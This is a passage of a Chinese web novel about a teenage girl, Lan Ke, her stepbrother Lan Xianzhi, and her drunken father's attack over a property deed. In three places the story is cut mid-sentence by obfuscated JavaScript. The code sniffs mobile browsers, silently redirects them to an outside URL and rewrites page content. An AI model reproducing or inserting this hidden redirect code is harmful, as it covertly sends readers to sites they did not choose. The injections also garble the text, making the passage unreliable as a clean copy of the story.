他们学校时间抓得紧,初三生半个月也才能回去一次,蓝柯每次回去都跟暑假差不多,吃饭睡觉,大部分时间都在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198018|181205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房里待着,只是蓝羡之不怎么在家了。 周日中午,蓝柯凑合了顿准备回学校,可马上要走,像是想到什么,她又折回去,找了点吃的装书包里,拽住拉链,刚要关书包出去,门口突然响起开门声。 转身,是蓝羡之回来了。 手里拿着钥匙,他看了她一眼问,“去学校?” “嗯。”赶忙把书包拉好,蓝柯点头,站到一旁。 蓝羡之没再说什么,只带她去了趟超市,看拿的差不多了,他才送她的回学校。 自那以后,蓝柯每次回去蓝羡之都会让她提前说,他再从学校回去住两天,有时候会往冰箱里添点东西,有时候会在桌上放一袋子面包水果,但两人的关系却依旧跟以前一样,不咸不淡,蓝柯不会主动跟他聊天,蓝羡之也从不过问她成绩、学校的事,只偶尔问句生活费够不够。 秋尾巴扯着冬,时间也越过越快,走到2013年底。 大年三十,蓝羡之本来想带她出去吃的,但蓝柯当时月经来了,不知道怎么回事,疼得下不了床,看她头上冒虚汗,蓝羡之去药店买完止疼药,又顺便带了几条红糖。 等冲好敲她门,听到没声,蓝羡之半迟疑推开门,这才发现蓝柯靠在床头,眼睛半眯着快睁不开,嘴里还嚅嗫着渴要喝水。 觉得不对劲,他叫了她两声,抬手去摸额头。 温度果然不对。 晃了晃蓝柯胳膊,蓝羡之蹙眉喊她,“蓝柯,你醒醒,你是不是发烧了,起来去医院。” 还是没人应。 没办法,他强行把人从床上捞起来。 急急帮蓝柯套上外套,蓝羡之带她出门,大过年的路上没几辆出租,眼见蓝柯站都快站不稳,他换了个姿势背她,最后走到路口,加了价才有个司机肯载人。 再过几小时就是新的一年了,路上没多少人,也幸亏是今天,出租车才能一路畅通。 身边的气息太安稳,感觉到暖风缓缓往身上吹,蓝柯昏昏沉沉睡着。 梦里,她突然想起自己小学一二年级,那时候孟忍冬还没那么忙,天天都能接她回家,蓝柯就坐在孟忍冬自行车后座上背古诗,什么锄禾日当午,什么床前明月光,每天把自己学的课文背给孟忍冬听。 夏天,自行车走到下坡每次都有呼呼一阵风吹过来,蓝柯害怕,双手紧攥着孟忍冬腰,冬天,自行车骑到家前面的一个坡上,害怕孟忍冬蹬不动,蓝柯就会下来走,孟忍冬也不扫兴,跟她一起推车,说是走走就暖和了。 眼眶里瞬间像是有股热气要涌出,蓝柯猛地睁开眼,这才发现自己在医院。 低头,她手背上扎着针,身上还盖了件黑色棉服。 “醒了?喝口水。”蓝羡之身上就穿了件高领毛衣,把纸杯子递过去,他顺势在她左手边坐下。 蓝柯现在上下唇瓣粘着,嘴张开都像扯了层皮下来,点了点头,她接过水,一口口抿着润嗓子,等回神才把身上的外套还回去。 “有空调,盖着吧。” 说了句谢谢,蓝柯也没再推搡,怔怔靠在椅背上,抬眼,医院白炽灯刺眼,掠过天花板,她视线落在一旁墙上挂着的电视机上,十一点五十几了,要2014年了。 这时候整个大厅只剩他们两个,再往前看,前台护士也目光如炬盯着电视上的倒计时。 十、九、八…… 等倒计时数到一,蓝柯偏头出声,“哥,新年快乐。”因为刚退烧,她声音发虚,但却不迟疑。 蓝柯印象里喊过蓝羡之哥的次数屈指可数,孟忍冬第一次带她来蓝程朗家那天,她喊过一次,是妈妈介绍的,第二次,第二次有点记不清了,也许是几个月前,她孤立无援、求蓝羡之收留那天,这是第三次。 7. 咔吧 听到她话那刻,蓝羡之愣了两秒,旋即反应过来,回了句一样的新年快乐。 输完液回去时已经半夜了,连买吃的地儿都没,想着蓝柯烧刚退,他开火煮了个粥。 等弄完,两人面对面坐凳子上,就着点咸菜吃粥。 大过年的,这个画面太诡异。 像是觉得好笑,蓝羡之拿手支着脑袋,肩膀直耸,只盼蓝柯早点病好,把这顿饭补出来。 不过她这场烧确实来得快去得也快,好之后,蓝羡之带着她出去搓了好几顿,不知道是不是因为过年养膘的原因,蓝柯临开学前人终于不是骨头撑着肉的状态了。 看着健康不少。 回学校那天下了不小的雨,蓝羡之送的她,也久违交代了句学习相关的,说是让她在学校老实点,争取有个高中上,蓝柯听笑了,心想自己可是年纪前一百。 日子像校门口瘸了腿的老狗啃骨头一样,咔吧咔吧、断断续续的,但又很快。 蓝柯中考那天蓝羡之已经放了暑假,考完试,他帮她把行李搬回家,又顺便把教材什么的全卖了,盯着突然空起来的房间,蓝柯心里有点奇怪,也有点迷茫。 放假第一周,蓝羡之跟平时一样出去家教了,她待在家里不知道干什么,连预习都找不都教材,索性去找了份兼职,就在楼下小卖部当收银员。 好像是老板家里人生病了,急招人,加上蓝柯工资要的低,两个月一千,人家这才愿意让她来干。 蓝羡之本来有点反对,奈何蓝柯软磨硬泡太久,加上那地儿确实离家近,就还是同意了。 他这几天有比赛,还要回学校,索性就住宿舍了,临走,蓝羡之又拿了几百块钱给蓝柯,嘱咐道:“在家安分点,凡事给我打电话。” “知道了。”平时蓝羡之也都在外面,她基本都是一个人在家,早适应了,而且大夏天能有什么事要找他。 “你忙你的,不用管我。” “我不管,你想让谁管?” 蓝羡之背着书包要出门,听到这话还是逗了她一句。 可惜蓝柯没搭腔。 盯着他出去的背影,她有点恼,总感觉自己拖累了蓝羡之,不然他不会这么忙。 小卖部的活清闲重复,蓝柯每天定期摆摆东西算算账就关门回家了。 日子就这么不紧不慢过着,直到来了个不速之客打破这份平衡。 陈平找来家里时蓝柯刚醒,看到他人,她愣了两秒,随即一把把门关上,眯着眼回了床上睡觉。 十分钟过去,敲门声还在继续。 听着门外面“咚咚咚”的声音,蓝柯揉了揉头发,烦得眉头拧紧。 本想出去骂陈平两句,但想了想,她索性去厨房拿了把菜刀杵到外面,“你是不是有病,再不滚我就报警了。” 被这动静吓一跳,陈平后退两步,结巴开口,“小柯,我…来还是想接你回家……” 懒得跟他浪费口舌,蓝柯拿起手机要拨120,还没打通,面前人主动拦下。 “别!” “那就赶紧滚。” 陈平面上点头,但又顺着话头跟她纠缠,蓝柯听得彻底没耐心了,重新提起刀。 菜刀直棱棱杵在自己面前,陈平肩膀缩了缩,被迫离开。 望着门外的背影,蓝柯关好门,坐沙发上平息火气,经过刚那一下,她睡意全无,干脆收拾完就去了楼下小卖部开门。 蓝羡之是晚上回来的,关店里卷闸门的功夫感觉到身边多了双手,蓝柯吓一跳,手上力也卸了。 幸亏还有人扶着。 “少发怔,锁门了。”提醒了她一句,他抬眼。 蓝柯身上是件白色polo衫,宽大宽大的,衬得整个人更瘦弱。 看来过年长的几斤肉又全还给学校了。 收回视线,蓝羡之手里拎着饭,跟她并肩往前走,“干嘛吓成那样? “你一声不吭就过来了,能不吓人吗。” 其实是因为今早被陈平吓到了,他这会要是再来,她是真没招会报警的。 回去,蓝羡之洗完手吃饭,像是想到什么,他又抬头,“你们中考成绩出来了吧。” 嗯了声,蓝柯拿筷子去拌碗里的饭,答,“六百二。” 她查了下,今年二中的分数线是六百一十一,够得上,但自己还是想去二十三中,那边老师前几天给她打招生电话了,说是免学费。 辣椒炒肉吃得蓝羡之胃里烧,喝了口水,他点头,“那报二中就行。”分数够,而且二中跟青大也就隔了一两公里,管她方便。 “我想报二十三中。” 话落,蓝羡之夹菜的手一顿,拧眉出声,“二中不是够得上吗,去别的地儿干吗?” “又招生老师给我打电话了。”把二十三中的事跟他讲了遍,蓝柯试探抬头。 这会听到免学费,蓝羡之也会意了。 放下筷子拿指骨去敲她头。 “小屁孩想什么钱,把你学习顾好就行了,少操心不该操心的。” 被这一下打得有点懵,蓝柯饭也不想吃了,简单塞了几口,她怄着气回了屋里。 前两天算了下,二中学杂费不比初中少,要一千五,食堂也比初中贵,再加上六七百住宿费,一年最低九千多块钱,就算不住宿,正常算下来也得八千,再加上学校大大小小的零散交费,蓝羡之供她三年起码要两三万。 自己就算再省、再去兼职也挣不了多少的。 这几天她一直想找机会再说服蓝羡之,奈何他不听,她一提这事他就要回房睡觉,一副懒得跟她掰扯又固执己见的样。 七月天热得外面知了都不叫了。 一大早被汗醒,蓝柯洗完澡出去,往蓝羡之屋里望了眼,房门紧闭应该是还没醒,反应过来今天是周末,她没打扰把英语书找出来了。 这还是岑溪姐姐高中的课本。 默背了半小时,门口传来敲门声,疑惑片刻,她打开门。 “你是,”反应片刻,那人摸了摸头笑出声,“你是蓝羡之妹妹吧?我是他舍友,林城。” “他不在?”顿了下,林城把手里证书递过去,“那你待会帮我给他,顺便跟你哥说下,我们校赛得奖了。” “得奖?”低头看了眼证书,上面写着第二。 蓝柯意会点头。 见状,林城像是想到什么拍掌来劲,“对了!你劝劝你哥吧,我们队资质多好,非说没时间参加省赛,够可惜——” 话没说完,蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198019|181205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羡之突然从房里冒出来。 老头衫灰裤,头发也跟鸡窝样,只半睁着眼,像要刺林城。 “羡哥!你醒这么晚,让咱妹一大早起来?” 听到林城喊妹,蓝羡之眉心一跳,随即赶人,“送完东西就赶紧走,别在这烦人。” 两人又吵了两句,听着,蓝柯愣在原地反应刚才的话,等反应过来,林城已经走了。 为什么没时间?要家教? 杂七杂八的想法一堆,知道现在不是问话的好时机,她干脆去厨房下了把面。 再出来时,蓝羡之在盥洗室洗漱,刚要喊他吃饭,蓝柯这才发现他在收拾东西,看着像是要走,“你今天不是没事吗?” “又新带了个学生,”说着,蓝羡之拉好拉链往厨房看。 是面,没法边走边吃,想着快迟到,他开口,“早饭我路上解决,用跟我一块下去吗?” “不用。”她最开始去小卖部,一直不会开卷闸门,当时没力气又找不到巧劲,猛一往上推真有点困难,最后只好喊蓝羡之帮忙,不过现在差不多会了。 望着他出去的背影,蓝柯埋头吃面。 只是今天去小卖部开门又不顺利了,手被硌得有点疼。 这几天,蓝羡之比之前更忙了。 很晚回家,有时候饭都不吃就回了床上睡觉。 蓝柯不知道他在忙什么,想问,但想起蓝羡之平时那副懒得跟她说话的样子,她还是放弃,只是没忍住跟上他出去的脚步。 发q让岑溪帮忙看着小卖部,蓝柯一路跟在蓝羡之身后。 一路忐忑,她最后看着他进了家肯德基的店。 “原来还是在家教……”嘴里喃喃,她隔着玻璃门往里看,蓝羡之好像在拿着笔演算,身边的学生盯着草稿纸,时而蹙眉,时而舒展。 脚下动作顿住,蓝柯无声在店外面的长椅上坐了会,最后没忍住拿出手机拍照。 她那个位置卡角度,蓝羡之看不见,蓝柯就带了点私心一直坐着,直到他中午出来。 门口,蓝羡之还是那副闲散模样站着。 往后躲了躲,她偏头,耳朵竖着。 余光里,蓝羡之身边还有个中年妇女领着小孩,像是准备走,“羡之啊,咱们这个…这个课时费能不能再少点,都是熟人了。” “阿姨,这个已经是最低标准了,不能再降。” 话音刚落,女人立马变了脸色,那都辅导快两个月了,他成绩也没提高啊。” “我听说你是老蓝儿子,可怜你没爹妈才让你来当家教的,真会狮子大开口!” 刚因为紧张攥着衣摆的手一紧,感觉到指甲劈了一半,她咬唇低下头,没再敢往对面望。 气氛缄默,半晌过去,一道男音倏然响起,语气比平时正经不少,“阿姨,收费都是按统一标准来的,而且成绩见效没那么快。” 女人没再搭理蓝羡之,只说不想让他继续辅导下去了。 蓝柯收紧外套听着那边动静,没一会儿,蓝羡之出声,“成,您把这周的课时费结完就行。” 中午太阳毒辣,蓝柯晒得头发发烫,脑袋也像是个开水壶,沸着要冒热气。 听着渐远的脚步声,等蓝羡之走掉,她缓缓起身。 8. 失重 “啪!” 把矿泉水瓶重重拍到柜台上,蓝柯呲牙咧嘴怼着风扇降温。 “柯柯,你怎么这么晚才回来?”看她满头汗,岑溪忙抽了几张纸帮忙擦脸。 被问的头一缩,蓝柯擤了擤鼻子,干笑两声回,“…没,忘时间了。” 总不能说去偷偷扎人轮胎了吧。 …… 肯德基事件以蓝柯报复回去为由不了了之,她也没再向蓝羡之问过什么,只是自己有点动摇了,动摇还要不要留在他身边当拖油瓶。 决定要走那天蓝柯很干脆,收拾完行李就跟蓝羡之发消息了,【你今晚早点回家呗,我有事儿跟你说。】 那边没立刻回复,焦灼等了半小时,手机突然震动,【怎么,又背着我干什么了。】 【少瞎揣测人,就一点小事。】删改好几次,蓝柯随便找了个理由搪塞过去,只让他快点回来。 起身打开冰箱,见还有肉菜,她长舒一口气,“还好。”在这儿白吃白喝一年,都最后一顿了,总不能还让蓝羡之解决。 晚上八点,三菜一汤准时上桌,蓝柯坐凳子上等人,正斟酌着怎么跟他讲要走的事,门突然被打开。 打了个招呼,两人跟往常一样无言吃饭。 一顿饭下来,蓝柯吃得食不知味,净往对面瞟了,直到等蓝羡之洗完碗出来,她还一直想着该怎么开口。 胸口发闷,蓝柯起身把窗户打开。 一大股风猛地灌进来,她深吸一口气叫住蓝羡之。 回来前就发消息说有事,扯了节纸擦手,蓝羡之就近坐下,饶有兴致勾唇,“说吧,还特意做顿饭,看来是有大事求我。” 钟表在客厅闷窣窣走着,蓝柯咬紧唇,嘴里话几度提到嗓子眼,最后还是开口,“我高中想回我爸那。” 话落下的一分钟里,没人理她。 以为蓝羡之没听到,蓝柯再次重复,“我跟陈平已经商量好了,以后准备回家住。” “蓝柯,你脑子进水了?滚回去睡觉,别让我骂你。”声线比刚沉不少,蓝羡之喝了口水起身,准备回房。 见又快没了商量的余地,蓝柯急急喊他,“我脑子没进水,我就是不想跟你住了。” 像是听到了什么荒唐话,蓝羡之拧紧眉头,又气又好笑,“蓝柯,你搞搞清楚,当初是谁非要跟着谁。” “对啊,所以我主动走。” 蓝羡之现在面色阴沉,也懒得再跟她吵,索性回了房里,一把掀开被子要睡觉,可刚躺下没五分钟,蓝柯就进来了,要把他从床上拉起来。 “喂,你起来下,我话还没说完。” 说着,看蓝羡之不理她,她从口袋拿了张银行卡出来,自顾自放到床头柜,“你拿着吧,我走了。” 又是一阵沉默。 过了会儿,听到身边没了动静,蓝羡之把盖着眼睛的手移开,直起身往外看。 门口滚轮声渐远,起身,他这才发现蓝柯已经收拾好东西准备走了。 气得下颌绷紧,蓝羡之径直走过去,咬着牙把她拎回来,“白眼狼,滚回去睡觉。” “我不……”蓝柯手里死死攥着行李箱,梗着脖子不愿意看他。 两人就这么僵持着。 过了会,见蓝柯睫毛煽动像要哭,蓝羡之卸了点力,放缓语气问,“想回去可以,原因呢,跟我说实话。” “没什么原因。”趁机挣脱开桎梏,她提着行李箱转身要走。 蓝柯房门半敞着,往里看了眼,见东西被搬的一干二净,蓝羡之没忍不住低骂,“蓝柯,我再说最后一遍,你今天出了这个门,以后就别想回来。” “…知道了。” 站在门口,蓝柯突然觉得脚边的门槛像个双面刀,怎么走都扎人,过了半晌,她慢慢走下楼。 陈平那位置偏,加上时间不早了,她索性在旅馆住了一宿,等第二天才回去。 隔天敲完门,陈平混浊无神的眼睛猛然睁大,要迎她进来,“小柯,你回来了。” 沉默点了点头,蓝柯往里看。 家里几乎没什么变化,也对,陈平天天往外跑,哪有时间弄乱。 房间猛一打眼看是收拾好了,但灰味很重,本想再打扫打扫,但头又疼,蓝柯只好把床单被罩抽出来铺好就直接睡觉了。 日子重复过着。 陈平除了她回来第一天下过厨,其他时候大多在外面,一开始,他还装模作样找找工作,但这几天也不装了,每天昏沉过着,次次回来都一身酒味。 有点受不了了,蓝柯也不想再忍,就又去了他屋里一次。 陈平这人早就无药可救了,早不管她晚不管,突然来这么一遭献殷勤,肯定是有事。 “柜子里没有,衣服兜里也找过了……”嘴里喃喃,思忖着,蓝柯抬起床板准备看看。 蓦地,一本薄薄的红皮本子出现在眼前,急急打开看了眼,见上面赫然写着自己的名字,蓝柯松了口气。 猜的果然没错,真是黄鼠狼给鸡拜年。 去年蓝柯就听人说她家这片要拆迁,她还不信,这次猛地被陈平叫回来,她就知道是怎么回事了,房产证只写了她的名字,不属于夫妻共同财产,这样一来陈平分不到一分钱。 怪不得一直喊她回来。 赶紧把卧室恢复原状,蓝柯揣紧房产证准备回房收拾东西。 前几天跟隔壁打听过,这边再过几个月就会拆迁,实在不行她先兼职攒攒住宿费,拆迁款差不多有个十一二万,等下来,供她上完高中应该不成问题,这样一来,应该还能省下一笔给蓝羡之。 …… 蓝羡之。 也不知道他怎么样了。 思绪神游几秒,蓝柯摇了摇头回房,可刚收好东西,身后突然响起一道男音,“小柯?” 陈平这会儿脸通红,瞪大眼睛盯着她。 握着手机的手一紧,她差点惊呼出声,等侧头看到书包拉链已经拉好,蓝柯这才稳住。 他这会喝高了,估计只是虚喊她两声,嗯了声,她没再多说。 照常吃完饭,蓝柯等着晚上降临,凌晨一点多,确认隔壁的人已经熟睡,她蹑手蹑脚离开,这边地方偏,加上还拎着个行李箱,晚上真不一定打得到车。 划了划手机看时间,蓝柯准备先去公交车站等。 可刚坐下,自己书包带突然被拽了拽,再抬眼,陈平一副醉醺醺模样站在她面前,语气蛮横,“大晚上的准备去哪?还跑?” 瞳孔猛地睁大,蓝柯的瞌睡都被吓得无影无踪。 到底是年纪不大,她这会说话都磕巴了,颤颤问,“……什么?” 天高地阔,这会连说话都带着点回音。 蓝柯愣了几秒,见陈平还没反应过来,拔腿就跑,连行李都没顾,可惜这边太空旷,连躲的地方都没有,挣扎一段路,她很快被身后人抓住。 陈平估计是还没醒酒,鼻子重重喘着粗气,东歪西倒才把她掉地上的书包捡起来,“我说今天怎么一惊一乍的…” “陈柯,敢在老子眼皮底下跑!你就不怕被我逮到?”骂骂咧咧找出房产证,他翻了翻嗤她,“想要拆迁款?行!今天谁都别想要。” “你撕……房产证上只要是我名字,怎样都能补办。”鬓角旁的碎发被汗浸湿,蓝柯蜷在地上瞪他,话断续着还带了点哭腔。 刚被推狠了,她现在动一下浑身都跟撕裂一样疼。 见状,陈平哂笑两声,攥着手里的红本走近,“陈柯,你知道我为什么不喜欢你吗,因为你就跟你那个妈一样,触人霉——” “头”的音还没完全发出,蓝柯的报警键还未按下,身后陡然传来道吃痛声。 蓝柯怔怔偏头,在看到蓝羡之那刻,她大脑嗡了声像要宕机。 陈平常年酗酒身体本来就不怎么好,威胁威胁蓝柯可能还好使,但对上蓝羡之就有点相形见绌了,这会被拽着领子,他拼了命想反抗,奈何力量悬殊。 几番挣脱无果,陈平面上有点挂不住,急赤白脸出声,“你谁?大半夜管别人家务事。” “她哥。” 话落,回应蓝羡之的是一声讥诮的嘲讽,“你?” “你是他哥?” “喂,识相点就赶紧滚,你以为她是什么好人,我告诉你,她就是个丧门星,她出生那天她妈难产——” 没等陈平说完,蓝羡之操起他人,上去就是一拳。 他起势又暴又冲 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大晚上的,去哪找药。 叹了口气,见她站在台阶上,他弯腰蹲下,“上来。” 低低的男音把蓝柯从混沌中抽出来,咬唇勒紧蓝羡之脖子,她看向前方。 等过了几分钟走稳,蓝柯把房产证的事解释给他,随后闷闷出声,“对不起。” 听着,蓝羡之快被气笑,“那你要是猜错,房产证上没写你的名呢?” “那我也不会待他那的,我已经想好了,实在不行,就去投奔我舅舅,他嫌可怜应该也会我收养我一段时间,等开学,我就——” “就去哪?要饭?”打断她话,他垂眼盯着地面,“你去扎人轮胎了?” 勒着脖子的手一紧,蓝柯下意识反问,“你怎么知道?” 怪不得。 蓝羡之摇了摇头,想起前两天在朋友圈找扎轮胎人的家长,又想起肯德基外面那抹熟悉的身影。 “竞赛我重新报名了。” “真的?” 察觉蓝柯激动得腿一蹬,蓝羡之无奈把人箍紧,“还有,下次少想东想西,二中考上就报,那点钱我还是掏得起的,我这段时间忙、没空竞赛是因为要搬家,懂吗?” 蓝柯一直住储物间也不是问题,搬得离学校近点,两人都方便。 但他嘴上倒没这么说,“我改善自己居住环境怎么了。” 话落,蓝柯有点眼热,沉默着没再讲话。 两人无声往前走着,蓦地,蓝羡之又出声,“下次老老实实待家里,听懂没?不该操心的就别操心。” 本想说她不是谁的拖累,但嫌矫情,他还是没说出口。 车祸那天,蓝羡之跟蓝程朗吵架闹挺僵,就故意窝在网吧打游戏气他,当时蓝柯好几个电话过来,他有几个没听见,有几个确实故意没接。 后来得知消息跑去医院,说一点感觉没有肯定是假的,毕竟那是他爸。 刚开始几天,蓝羡之跟蓝柯一样,觉得人生没什么盼头了。 直到那天焦头烂额去警局捞她,看见她要被人打,蓝羡之心说算了,多一个人过也是过,结果她又谈恋爱又被骗,再去警察局抓她的时候,他恼火得不行。 可那那晚看见门里塞的纸条,还有睡着突然攥紧他的手,蓝羡之像是被轻轻挠了下。 “喂,谢谢。” 思绪乱飘着,他下意识回了句,“什么?” “哥,谢谢。” “什么?” “我说谢谢。” “什么。” 反应过来被逗弄,蓝柯拿手掐了下他胳膊,可刚觉得要解气,蓦地,蓝羡之握着腿窝把她整个人往上颠了颠,“老实点。” 瞬间袭来的失重感让蓝柯心中一惊,也如他愿安分下来。 等过了会,百无聊赖之际,她像喝了假酒开始胡言乱语。 “……哥。” “嗯?” “哥——” “哥————” “哥!” 蓝羡之:“……” 9. 触电 大半夜的,压根拦不到车,加上蓝柯还有脚伤,蓝羡之就在附近开了间房准备凑合一晚。 只剩间双床房了,没空矫情,他把行李箱推到门边,又扶蓝柯坐下看了眼她脚踝。 还肿着,这会青紫青紫的。 去前台要了应急药箱,看到里面有红花油,蓝羡之松了口气,把东西拿上来递到蓝柯手边,交代,“一会要是还疼,就直接去医院。” “好。”把药水倒到手心,她搓开往脚踝上抹。 大脑累到宕机,蓝柯双目放空地神游,过了会,像想起什么,她叫住蓝羡之,“那边没有监控吧?” “死角。” 悬着的心彻底放下,蓝柯洗漱完就去了床上睡觉,不知道过了多久,屋里灯被关上。 听到一旁窸窸窣窣的动静传来,她翻了个身,背对着他阖眼。 明明睡之前眼皮还一直打架,可真等到躺下,蓝柯却觉得脑子突突的,密密麻麻堆着很多事,压根睡不着。 挣扎片刻,她重新侧回去,眼神缓缓掠过蓝羡之发问,“我这次是不是做错了?” “…嗯,大错特错。”盯着天花板,蓝羡之半晌回了一句话,声音哑得像是快睡着。 眼皮垂下,蓝柯鼻子闷在枕头里出声,“对不起……” 她道歉的尾音太轻,轻到让人耳朵发痒,听着,蓝羡之轻点床面的指尖顿住,偏头望向左手边,“蓝柯,对不起只用说一次。” “那我把拆迁款给你吧,我把钱全给你,银镯子也给你。”明明黑暗里什么都看不见,但她还是重新抬眼,话里像是想弥补什么。 “银镯子?” “嗯,我妈给的。” 想起是当时警局那个,蓝羡之哂笑两声嗤她,“准备拿钱收买我?” “没有。”只是想把好东西都给他。 没埋头多久,觉得被枕头闷得呼吸不畅,蓝柯换了个角度透气,随即问,“对了,你今天怎么会来找我?” “不是你给我发信息。” “嗯?” “六七点的时候,发了个1。” 把手机从被子底下捞出来,发现蓝羡之没说错,蓝柯这才反应过来是误触。 当时陈平突然从背后出现,她吓一跳,估计是当时按到的。 “怪不得。”腰一直枕着胳膊有点麻了,蓝柯边嘟囔边双手摊开往外甩,有点恍然的透彻,又有点庆幸。 可手臂刚晃两下,指尖像突然碰到什么温热的东西,皮肤仿若触电。 被吓到,她惊呼出声。 过了两秒,反应过来是蓝羡之手,蓝柯讪讪转身,不敢再往那边动,生怕侵占到他领域。 夜色沉鼾,她抬眼望向窗边,可刚要酝酿睡意,右侧突然传来道低透的男音,还跟刚刚一样似睡似醒。 “下不为例。” “啊?”晃了下神,蓝柯本想再问句什么意思,但听没人回应还是作罢。 次日一大早,两人回了家。 蓝柯脚伤休养了几天,一好蓝羡之就带着她搬家了。 这边小区离二中近,去青大坐公交也要不了十几分钟,挺方便的,这样一来,他跟蓝柯也省了笔住宿钱。 就是房租不便宜。 蓝羡之嫌麻烦找的都是能拎包住的地,一年起租也要两三万。 去年除非应急,他都不怎么拿蓝程朗给的那笔钱,这次一下交出去,兜里就只剩五六千了,暑假活多,好点能挣几千,但怎么算日子估计也是紧巴的。 琢磨半天,蓝羡之把厨房收拾了遍,想着以后做饭吃。 不过这事最后还是被蓝柯接过了,主要是他做饭太难吃。 日子跟家里刷锅用的洗洁精似的,挤一泵少一泵。 开学当天,蓝羡之带蓝柯去熟悉了下学校的路,坐在公交车上,他往她手里塞了张交通卡,交代,“324路公交车,记住没,以后去学校回家坐的都是这趟车。” 蓝柯要军训,开学比他早。 这几天放学他还能接,索性就等晚上再跟她讲怎么回来了。 “军训就算了,你们十点半下课,十一点之前必须回家。” “知道。”靠在窗边,蓝柯百无聊赖往外望,好奇问,“你也在这上的高中吗?”他看起来很熟悉这一带。 “没,我在五十六中。” “那成绩应该很好。” “不是,我是特长生进去的。” 有点意料之外,蓝柯身子一下坐直,“特长生?艺术类?” “体育,我练短跑的。” “好像从来没听蓝叔叔说过……”思绪往回扯,见脑中找不到这件事,她疑惑咬唇,“那你大学怎么学了计算机。” “我高二就没跑了。” “为什么?” “哪有这么多为什么,快到了,走,下去。” 蓝羡之进不去宿舍,报完到,他帮她把行李搬到门口就走了,“饭卡还是一个月一充,不够就要,在学校老实点。” “知道了。”这次分班蓝柯跟岑溪在一块,遇到熟人她放心不少,等蓝羡之离开,两人手挽手去了食堂吃饭。 军训就是纯熬日子,蓝柯熬得皮都干了,每晚回家都累得沾床就睡。 要说开学这几个月来发生的唯一一件好事,那应该就是拆迁款下来了,拿着银行卡,蓝柯越想越庆幸。 这次居然这么顺利,连陈平都没来闹。 回去把钱一下交给蓝羡之,见他跟老财样一动不动,蓝柯出声,“干嘛不接?” “你自己的钱自己拿,我不管。” “那你就当我在还之前的生活费。” “行,待会我算算,你转我就行。” 觉得蓝羡之分的有点清,蓝柯心里多了几分不快,但面上还是点头。 这几天他好像确实挺忙的,不过省赛事多也正常,思忖着,她把银行卡这事往后推了推,准备等蓝羡之闲下来再慢慢掰扯。 “你们比赛在什么时候?” “十一二月,”说完,像是知道到蓝柯在想什么,蓝羡之敲键盘的手一顿,制止道:“操心点该操心的,学你的习就够了,不许来。” “……我说自己要去了吗。” 说罢,蓝柯要走,可刚抬起步子,像是想到什么,她回头,“哥你忙的话就别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198021|181205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去家教了,我们现在有钱。” “拆迁款不能花一辈子的。” “但起码能花好几年。” “那以后呢?” “以后,以后我也可以挣钱。”抠着衣角,蓝柯抬眼。 指尖停在键盘上,蓝羡之胸腔发出两声闷笑,随即望向她,“嗯,我等你赚钱养我。” “等着吧。”抿唇望向窗外,蓝柯重新回房写作业,盛夏的余温彻底消失殆尽后,她迎来了期中考,成绩就那样,不理想但也正常,毕竟自己进来时就是吊车尾。 桌边卷子堆的越来越厚,结束这学期第四次模拟考,蓝柯迅速收拾完书包往外冲,这才赶上最近一趟的公交。 下午考完英语已经五点了,害怕赶不上,她一下公交就拔腿往对面跑,在青大门口等了十几分钟,见陆续有人出来,蓝柯拢紧衣服哈了口气,聚精会神找人。 蓦地,围巾被人拉了下。 “哥?” “都说了不用来。” 蓝柯没理,试探问,“怎么样?” “还行。”把她围巾扯回去,蓝羡之继续,“第五,进第二轮比赛了。” “那就行,你要不要吃——”话音因为蓝柯突然发现蓝羡之身边还站着三个人戛然而止。 除了林城,其他两个都是生面孔。 “这我同学,这次比赛也是跟他们一块组的队。”给蓝柯介绍了遍后,他又跟几人聊了两句,准备带她回去。 话落,段西华出声拦人,“别啊,咱妹都来了,正好,一块出去搓一顿。” 蓝羡之刚要拒绝,蓝柯突然接过话茬,“不用,哥你去吧,我刚考完试还有一堆作业。” “那正好一起回去。” “别,我跟岑溪齐天锡约了一会去书店。”推了蓝羡之两下,她转身要走,可刚走两步,反应过来怀里热腾腾的,蓝柯又快步回去把手里东西递过去,“玉米,刚校门口买的。” 垂眼,发现塑料袋里还冒着白汽,蓝羡之笑了下,从兜里掏了一百块钱给她,“到家跟我说,不早了,别坐公交,打车。” “知道了,快去吧,啰嗦。”摆了摆手,蓝柯重新回马路对面等车,掌心空空的,她就在街边买了袋板栗打发时间。 过了会,手机嗡声,点开,是蓝羡之发过来的消息,【你刚说什么来着,要不要吃?】 【玉米。】 【?】 栗子烫,蓝柯在嘴里炒了炒抬手打字,【我刚想说的是,你要不要吃玉米。】 出租车刚好过来,收回手机,她哈了口气上车,再点开聊天框时,蓝羡之又发了条消息过来,问她回没回家。 【我还在书店啊。】 【你再说一遍试试呢。】 